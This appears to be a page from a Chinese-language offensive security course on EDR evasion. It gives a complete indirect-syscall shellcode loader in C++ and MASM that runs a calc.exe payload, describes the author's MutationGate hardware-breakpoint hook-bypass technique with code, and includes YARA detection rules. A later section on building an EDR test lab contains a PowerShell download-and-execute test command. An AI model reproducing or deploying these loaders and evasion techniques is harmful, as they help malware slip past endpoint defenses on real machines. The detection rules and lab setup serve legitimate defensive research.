[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/IfOQ0dJ983BLbuqv-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/IfOQ0dJ983BLbuqv-image.png)

有了 syscall 指令的地址，那么可以得到如下代码(依旧启用 masm)：

**indirectsyscall.cpp** 代码

```c++
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>


extern "C" {
	UINT_PTR syscall_addr1;
	UINT_PTR syscall_addr2;
	UINT_PTR syscall_addr3;
	UINT_PTR syscall_addr4;
	UINT_PTR syscall_addr5;
}

typedef struct _PS_ATTRIBUTE
{
	ULONG  Attribute;
	SIZE_T Size;
	union
	{
		ULONG Value;
		PVOID ValuePtr;
	} u1;
	PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;


typedef struct _PS_ATTRIBUTE_LIST
{
	SIZE_T       TotalLength;
	PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

EXTERN_C NTSTATUS NtAllocateVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PSIZE_T RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect);

EXTERN_C NTSTATUS NtWriteVirtualMemory(
	IN HANDLE ProcessHandle,
	IN PVOID BaseAddress,
	IN PVOID Buffer,
	IN SIZE_T NumberOfBytesToWrite,
	OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

EXTERN_C NTSTATUS NtCreateThreadEx(
	OUT PHANDLE ThreadHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN HANDLE ProcessHandle,
	IN PVOID StartRoutine,
	IN PVOID Argument OPTIONAL,
	IN ULONG CreateFlags,
	IN SIZE_T ZeroBits,
	IN SIZE_T StackSize,
	IN SIZE_T MaximumStackSize,
	IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);

EXTERN_C NTSTATUS NtWaitForSingleObject(
	IN HANDLE ObjectHandle,
	IN BOOLEAN Alertable,
	IN PLARGE_INTEGER TimeOut OPTIONAL);

EXTERN_C NTSTATUS NtClose(
	IN HANDLE Handle);



void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}


UINT_PTR GetSyscallAddr(IN HMODULE hModule, const CHAR* funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	UINT_PTR syscall;

	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return 0;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return 0;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			syscall = (UINT_PTR)(pFunctionAddress + 0x12);
			return syscall;
		}
	}
	return 0;
}


int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	syscall_addr1 = GetSyscallAddr(ntdll, "NtOpenProcess");
	syscall_addr2 = syscall_addr1 + 0x20;
	syscall_addr3 = syscall_addr1 + 0x40;
	syscall_addr4 = syscall_addr1 + 0x60;
	syscall_addr5 = syscall_addr1 + 0x80;
	printf("Address of syscall instruction is 0x%p\n", syscall_addr1);


	unsigned char code[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";


	LPVOID allocation_start;
	SIZE_T allocation_size = sizeof(code);
	HANDLE hThread;
	NTSTATUS status;

	allocation_start = nullptr;


	// Allocate Virtual Memory 
	if (NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, (PULONG64)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == 0)
		printf("Memory allocated at %p\n", allocation_start);
	else
		printf("Allocated failed, Error code is %d\n", GetLastError());

	// Copy shellcode into allocated memory
	if (NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, code, sizeof(code), 0) == 0)
		printf("Copied successfully\n");
	else
		printf("Copied failed, Error code is %d\n", GetLastError());


	if (NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocation_start, NULL, FALSE, NULL, NULL, NULL, NULL) == 0)
		printf("Executed successfully\n");
	else
		printf("Executed failed, Error code is %d\n", GetLastError());

	// Wait for the end of the thread and close the handle
	NtWaitForSingleObject(hThread, FALSE, NULL);
	NtClose(hThread);

	return 0;
}
```

**stub.asm** 代码：

```c++

EXTERN syscall_addr1:QWORD 
EXTERN syscall_addr2:QWORD 
EXTERN syscall_addr3:QWORD 
EXTERN syscall_addr4:QWORD 
EXTERN syscall_addr5:QWORD 


.code

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov rax, 18h
    jmp QWORD PTR [syscall_addr1]
    ret
NtAllocateVirtualMemory ENDP

NtWriteVirtualMemory PROC
    mov r10, rcx
    mov rax, 3Ah
    jmp QWORD PTR [syscall_addr2]
    ret
NtWriteVirtualMemory ENDP

NtCreateThreadEx PROC
    mov r10, rcx
    mov rax, 0C2h
    jmp QWORD PTR [syscall_addr3]
    ret
NtCreateThreadEx ENDP

NtWaitForSingleObject PROC
    mov r10, rcx
    mov rax, 4
    jmp QWORD PTR [syscall_addr4]
    ret
NtWaitForSingleObject ENDP

NtClose PROC
    mov r10, rcx
    mov rax, 0Fh
    jmp QWORD PTR [syscall_addr5]
    ret
NtClose ENDP


end
```

我们在 C 代码里定义了全局变量 syscall\_addr，因为该项目实际上还是 C++ 项目，所以需要稍微注意一下格式。出于演示程序的成功执行目的，我选择了 5 个连续的 syscall 指令的地址，如果我们想有意地选择良性 NTAPI 的 syscall 指令地址，需要仔细斟酌一下选择哪些。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/2DsOdplGlL9FcO2p-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/2DsOdplGlL9FcO2p-image.png)

作为小练习，请写出没有混淆 syscall stub 的情况下，采用间接 syscall 调用的程序的 yara 的检测规则。

#### **syswhisper3**

syswhisper3 是对 syswhisper2 的改进，也可以自动生成我们上面编写的间接 syscall 的程序所需要的相关文件。因为原理差不多，就不做额外解释了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/mj4EKJRO4TmyLT2M-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/mj4EKJRO4TmyLT2M-image.png)

导入所需文件的步骤与 syswhisper2 一致，代码也可以复用之前的。编译后，执行结果如下：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/eg3w3eTT9cO0jLvz-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/eg3w3eTT9cO0jLvz-image.png)

根据 asm 文件里的函数指令，可以创建相应的 yara 规则：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/UDgNdEEjhCBLxC8e-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/UDgNdEEjhCBLxC8e-image.png)

```yaml
rule syswhisper3
{
    meta:
        description = "Hunt for syswhispe3 generated asm code"

    strings:
        $s1 = {48 89 4c 24 08 48 89 54 24 10 4c 89 44 24 18 4c 89 4c 24 20 48 83 ec 28 b9 ?? ?? ?? ?? e8}
        $s2 = {48 83 c4 28 48 8b 4c 24 08 48 8b 54 24 10 4c 8b 44 24 18 4c 8b 4c 24 20 4c 8b d1}
    condition:
        #s1 >=1 or #s2 >=1 
}
```

因为我们导出了所有 NTAPI 的相关文件，匹配数自然很多。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/1B0dhGgwrx9PJtY4-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/1B0dhGgwrx9PJtY4-image.png)

### **突变之门 MutationGate**

突变之门 MutationGate 是我在近期的研究成果，其实也是属于间接 syscall 的一种。但毕竟是作者我提出的，所以必须给足牌面，单独安排一个中标题。Github 地址: [https://github.com/senzee1984/MutationGate](https://github.com/senzee1984/MutationGate) 以及英文研究文章: [https://winslow1984.com/books/malware/page/mutationgate](https://winslow1984.com/books/malware/page/mutationgate)

MutationGate 通过利用**硬件断点**来重定向系统调用，从而绕过 EDR 的内联 hook。MutationGate 的原理是调用一个未被 hook 的良性 NTAPI，并用被 hook 的 NTAPI的 SSN 替换这个未被 hook 的 NTAPI 的 SSN。通过这种方式，syscall 被重定向到被 hook 的 NTAPI，而无需加载第 2 个 ntdll 模块或纂改已加载到内存中的 ntdll 模块，就可以绕过内联 hook。

EDR 倾向于为一些 NTAPI 设置内联 hook，特别是那些常在恶意软件中被利用的，如 NtAllocVirtualMemory。而不常被恶意软件利用的 NTAPI 往往不会被 hook，如 NtDrawText。EDR hook 所有 NTAPI 的可能性非常小。

假设 NTAPI NtDrawText 没有被 hook，而 NtQueryInformationProcess 被 hook 了，步骤如下：

1\. 获得 NtDrawText 的地址，通过 **GetModuleHandle 与 GetProcAddress 组合**，或者 **PEB Walking 与导出表解析**。

```c++
  pNTDT = GetFuncByHash(ntdll, 0xA1920265);	//NtDrawText hash
  pNTDTOffset_8 = (PVOID)((BYTE*)pNTDT + 0x8);	//Offset 0x8 from NtDrawText
```

2\. 为 NtQueryInformationProcess 准备相应参数。

3\. 在 **NtDrawText + 0x8** 处设置硬件断点，当执行流程到达这里时，SSN 已经存储在 RAX 中了，但 syscall 还未发起。

```
0:000> u 0x00007FFBAD00EB68-8
ntdll!NtDrawText:
00007ffb`ad00eb60 4c8bd1          mov     r10,rcx
00007ffb`ad00eb63 b8dd000000      mov     eax,0DDh
00007ffb`ad00eb68 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffb`ad00eb70 7503            jne     ntdll!NtDrawText+0x15 (00007ffb`ad00eb75)
00007ffb`ad00eb72 0f05            syscall
00007ffb`ad00eb74 c3              ret
00007ffb`ad00eb75 cd2e            int     2Eh
00007ffb`ad00eb77 c3              ret
```

4\. 获取 NtQueryInformationProcess 的 SSN。在异常句柄里，用 NtQueryInformationProcess 的 SSN 替换 NtDrawText 的。

```c
...<SNIP>...
uint32_t GetSSNByHash(PVOID pe, uint32_t Hash) 
{
	PBYTE pBase = (PBYTE)pe;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	DWORD exportdirectory_foa = RvaToFileOffset(pImgNtHdrs, ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + exportdirectory_foa);	//Calculate corresponding offset
	PDWORD FunctionNameArray = (PDWORD)(pBase + RvaToFileOffset(pImgNtHdrs, pImgExportDir->AddressOfNames));
	PDWORD FunctionAddressArray = (PDWORD)(pBase + RvaToFileOffset(pImgNtHdrs, pImgExportDir->AddressOfFunctions));
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + RvaToFileOffset(pImgNtHdrs, pImgExportDir->AddressOfNameOrdinals));

	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + RvaToFileOffset(pImgNtHdrs, FunctionNameArray[i]));
		DWORD Function_RVA = FunctionAddressArray[FunctionOrdinalArray[i]];
		if (Hash == ROR13Hash(pFunctionName))
		{
			void *ptr = malloc(10);
			if (ptr == NULL) {
				perror("malloc failed");
				return -1;
			}
			unsigned char byteAtOffset5 = *((unsigned char*)(pBase + RvaToFileOffset(pImgNtHdrs, Function_RVA)) + 4);
			//printf("Syscall number of function %s is: 0x%x\n", pFunctionName,byteAtOffset5);	//0x18
			free(ptr);
			return byteAtOffset5;
		}
	}
	return 0x0;
}
...<SNIP>...
```

5\. 我们调用 NtDrawText 函数，但准备的却是 NtQueryInformationProcess 的参数，这个调用原本会失败的。但因为我们偷梁换柱了 SSN，调用会成功。

```c
  fnNtQueryInformationProcess pNTQIP = (fnNtQueryInformationProcess)pNTDT;
  NTSTATUS status = pNTQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);	
```

这个案例中，NtDrawText 的 SSN 为 0xdd，而 NtQueryInformationProcess 的 SSN 为 0x19，NtDrawText 的地址为 0x00007FFBAD00EB60

这个调用是发起到 NtDrawText 的地址，但准备的是 NtQueryInformationProcess 的参数，因为 SSN 从 0xdd 变为了 0x19，syscall 自然是成功的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/bSTThGQC0miGDypx-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/bSTThGQC0miGDypx-image.png)

我们用之前的 yara 规则来扫描该 POC 程序，并没有发现符合的记录，这是当然的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/O0ZFLfCJXJRN1cZV-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/O0ZFLfCJXJRN1cZV-image.png)

但破绽也是有的，为了便于观察，以 SleepEx 的 NTAPI **NtDelayExecution** 为例，syscall 是在 ntdll 空间里发起的，看起来还算合理。然而，ntoskrnl 里的 KeDelayExecutionThread 期望的是 NtDelayExecution 发起 syscall，而不是 NtDrawText。这个破绽可以作为检测点。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/UrbS5zVECo8GedtM-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/UrbS5zVECo8GedtM-image.png)

#### **优势与检测**

MutationGate 相比其他类似的 unhook 方案具有一定的优势，尽管依旧是可能检测的。

##### **优势**

1. 不加载第 2 个 ntdll 模块
2. 不纂改已加载的 ntdll 模块
3. 不使用自定义的 syscall stub，因此没有对应的字节序列特征
4. syscall 发生在 ntdll 模块中，看起来是合理的

##### **可能的检测方法**

1. 在正常程序中，调用 **AddVectoredExceptionHandler** 有些可疑
2. 从内核层检视调用栈，ntoskrnl.exe 中执行的函数与 ntdll 模块中执行的函数不一致
3. 在良性 NTAPI 中发起的 syscall 不会期望得到不属于自身的 SSN

#### **与其他类似方法的对比**

HWSyscall([https://github.com/Dec0ne/HWSyscalls](https://github.com/Dec0ne/HWSyscalls)) 和 TamperingSyscall([https://github.com/rad9800/TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls)) 都巧妙地利用硬件断点来绕过内联 hook，都是出色的方法。尽管在我获得灵感并发布 MutationGate 的期间里，我没有阅读和引用这两个项目，但的确利用了一些相似的技术和中心思想。我仔细阅读和研究了它们，并用表格总结与比较，如下所示：

<table border="1" id="bkmrk-approach-call-argume"><colgroup><col></col><col></col><col></col><col></col><col></col></colgroup><tbody><tr><td>**方法**</td><td>**调用的 API**</td><td>**参数**</td><td>**SSN**</td><td>**Syscall 指令**</td></tr><tr><td>**突变之门**</td><td>良性 NTAPI</td><td>目标 NTAPI 的参数</td><td>良性 NTAPI 的 SSN -&gt; 目标 NTAPI 的 SSN</td><td>良性 NTAPI 中</td></tr><tr><td>**HWSyscall**</td><td>目标 NTAPI</td><td>目标 NTAPI 的参数</td><td>提取目标 NTAPI 的 SSN</td><td>最近的纯净 NTAPI 中</td></tr><tr><td>**TamperingSyscall**</td><td>目标 NTAPI</td><td>占位符参数 -&gt; 目标 NTAPI 的参数</td><td>通过 EDR 的检测后得到目标 NTAPI 的 SSN</td><td>目标 NTAPI 中</td></tr><tr><td>**间接 Syscall**</td><td>自定义汇编函数</td><td>目标 NTAPI 的参数</td><td>提取目标 NTAPI 的 SSN</td><td>任何纯净的 NTAPI 中</td></tr></tbody></table>

作为一个课后练习，请基于该 POC，用 MutationGate 的方法执行 calc 的 shellcode。

# 搭建 EDR 测试环境

有效的 EDR 测试环境对于我们检验自己所写载荷的规避性能十分重要。可惜的是，EDR 几乎都不对个人用户开放，而且通常都有着最低设备数量要求，价格也不菲。除了在公司里申请一个配置了 EDR 的测试主机外或者申请一期一会的免费试用，本小节内容会教大家如何用最小的代价配置 2 款主流且声誉较好的 EDR 产品。

尽管如此，即便你们编写的载荷能完美绕过这 2 款 EDR，也不代表能绕过客户或者自己企业里的安全产品，因为尤其是对于中大型企业，他们会订阅更加高级的套餐，使得他们 EDR 的特性与性能更为强大，以及会与其他安全产品例如防火墙，IDS/IPS 产生联动。

如果有条件，最好能有一台物理设备用于安装与配置 EDR，以实现最强的检测性能。

### **Microsoft Defender for Business**

除了 Windows 自带的 Windows Defender，微软还有着 EDR 和 XDR 产品。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/WP0ad5w0aRNi2034-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/WP0ad5w0aRNi2034-image.png)

XDR 乃至 EDR 的购买主要面向中大型企业，销售会验证企业资质，以及往往有着最低设备数量的要求。因此，对于我们做安全研究与测试有些不便与奢侈。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/XkfXcDitPkaZkFHS-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/XkfXcDitPkaZkFHS-image.png)

不过，Microsoft Defender for Business([https://www.microsoft.com/en-us/security/business/endpoint-security/microsoft-defender-business#Microsoft-defender-plans-and-pricing](https://www.microsoft.com/en-us/security/business/endpoint-security/microsoft-defender-business#Microsoft-defender-plans-and-pricing)) 为我们提供了个门槛很低的选项，每个月 3 美元即可。MDB 主要面向 1-300 人的小型企业，但相应的，检测性能与功能丰富程度也逊于 MDE，但对于我们初入 EDR 对抗也足以。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/uihnqOlyG1hRaObB-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/uihnqOlyG1hRaObB-image.png)

我们点击 Buy now，左边的套餐即可。我们输入一个有效的邮箱地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/DiTwxsWaCKJfds2v-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/DiTwxsWaCKJfds2v-image.png)

确认使用该邮箱地址

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/wN4W3ERyGvWd36SC-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/wN4W3ERyGvWd36SC-image.png)

填写相关信息，之后需要接收手机验证码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/6fCHe85FAIpO193O-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/6fCHe85FAIpO193O-image.png)

设置一个初始账户，记住自己的企业域名，是 **\*.onmicrosoft.com** 的形式。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/xaKw39vRq8RSkxlS-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/xaKw39vRq8RSkxlS-image.png)

之后，我们可以选择需要购买的数量，1 个即可，输入支付方式信息，需要有借记卡或者信用卡。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/Vy8tFy2qO7aif4ym-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/Vy8tFy2qO7aif4ym-image.png)

核对信息，确认支付。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/dTAoDtYtOeEIxRzv-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/dTAoDtYtOeEIxRzv-image.png)

然后，我们便可以登录到管理员中心了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/y7cR36EUj30Nvzsr-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/y7cR36EUj30Nvzsr-image.png)

我们不需要该订阅的时候，可以在 **Billing -&gt; Your product**s 这里选择取消。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/pxRhZRdILBI8dI5y-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/pxRhZRdILBI8dI5y-image.png)

接下来，我们需要注册设备。访问 [https://security.microsoft.com/](https://security.microsoft.com/)，进入 Settings -&gt; Endpoints

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/Wc9Mz8gaI7nOcYXs-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/Wc9Mz8gaI7nOcYXs-image.png)

首次配置，微软会建议我们分配用户权限和通知，但我们可以暂时跳过，因此我们只是用于个人研究，而非真正管理企业。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/X467TbqdgXeCE0Rg-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/X467TbqdgXeCE0Rg-image.png)

这里，我们选择 Local Script，即本地脚本。通过运行脚本，这会与 Entra ID 建立信任。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/TtRK58Mu0Pa9eVWw-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/TtRK58Mu0Pa9eVWw-image.png)

在高完整度下运行命令行，执行脚本

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/QWbsmQjdMTlUnI6q-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/QWbsmQjdMTlUnI6q-image.png)

然后，我们可以运行一个检测测试来验证设备已经注册成功。我们在 C 盘下创建名为 test-MDATP-test 的文件夹，然后运行下述 powershell 命令：

```powershell
powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference = 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\test-MDATP-test\\invoice.exe');Start-Process 'C:\\test-MDATP-test\\invoice.exe'
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/5yVYENtMrHEHTnsN-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/5yVYENtMrHEHTnsN-image.png)

如果运行后，命令行自动关闭，那么意味着检测测试通过。这里，在运行后，powershell 程序确实被关闭了。

我们可以在面板中看到注册后的设备，以及查看相应的告警。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/j3C7HQi1soE6JTzV-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/j3C7HQi1soE6JTzV-image.png)

检测日志的出现可能存在延迟，不过几分钟后，我们便能看到对应的告警。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/Poy6xZJ6DeyLs31t-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/Poy6xZJ6DeyLs31t-image.png)

### **Elastic EDR**

Elastic EDR 是一款易于部署，业内有着良好声誉，免费的 EDR 产品。当然，Elastic 也有面向企业的更加高级的方案，对此我们也有着 30 天的免费试用。

不过，手动配置 Elastic 栈以及 EDR 是个比较繁琐的任务，因此我们将用 Docker 简化这一过程，elastic-container 项目([https://github.com/peasead/elastic-container](https://github.com/peasead/elastic-container)) 帮了大忙。

我们将在 Ubuntu 服务器上部署，用到 Docker 来安装和运行 Elasticsearch，Kibana，和 Fleet。

首先卸载所有冲突的包：

```bash
for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/b2BWVXfcUeUpL18k-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/b2BWVXfcUeUpL18k-image.png)

然后，设置 Docker 仓库：

```bash
sudo apt-get update
sudo apt-get install ca-certificates curl gnupg
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/YNGcK8DNem0nhCVX-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/YNGcK8DNem0nhCVX-image.png)

添加 Docker 的官方 PGP 密钥。

```bash
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/ekQwPETcHeqsdoRa-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/ekQwPETcHeqsdoRa-image.png)

使用下述命令配置仓库：

```bash
echo "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/NrbpfzhprAa9Gnd9-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/NrbpfzhprAa9Gnd9-image.png)

更新 APT 包索引：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/rM9jmbymj3wArLJG-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/rM9jmbymj3wArLJG-image.png)

安装 Docker 引擎

```bash
apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/uGvYIHsYVphpiJeg-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/uGvYIHsYVphpiJeg-image.png)

接下来，我们就该安装 Elastic 了。首先，安装依赖：

```bash
apt-get install jq git curl
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/rBaEdiJ3EmD9gZxh-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/rBaEdiJ3EmD9gZxh-image.png)

克隆仓库：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/XyznhX8IoqLg5Ys3-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/XyznhX8IoqLg5Ys3-image.png)

编辑项目中的 **.env** 文件

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/KQbAsdccumE52SeB-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/KQbAsdccumE52SeB-image.png)

根据自己需要修改账号密码，用户名需要是 **elastic**，否则会无法启动检测引擎。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/fscCjszt13IaHjEf-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/fscCjszt13IaHjEf-image.png)

开启 Windows 检测，并且根据需要调节 basic 或者 trial，其中 trial 是30天，提供高级检测特性。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/Qr2jd48umIglxgYx-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/Qr2jd48umIglxgYx-image.png)

赋予脚本执行权，并且启动所有组件，脚本将下载和配置容器。

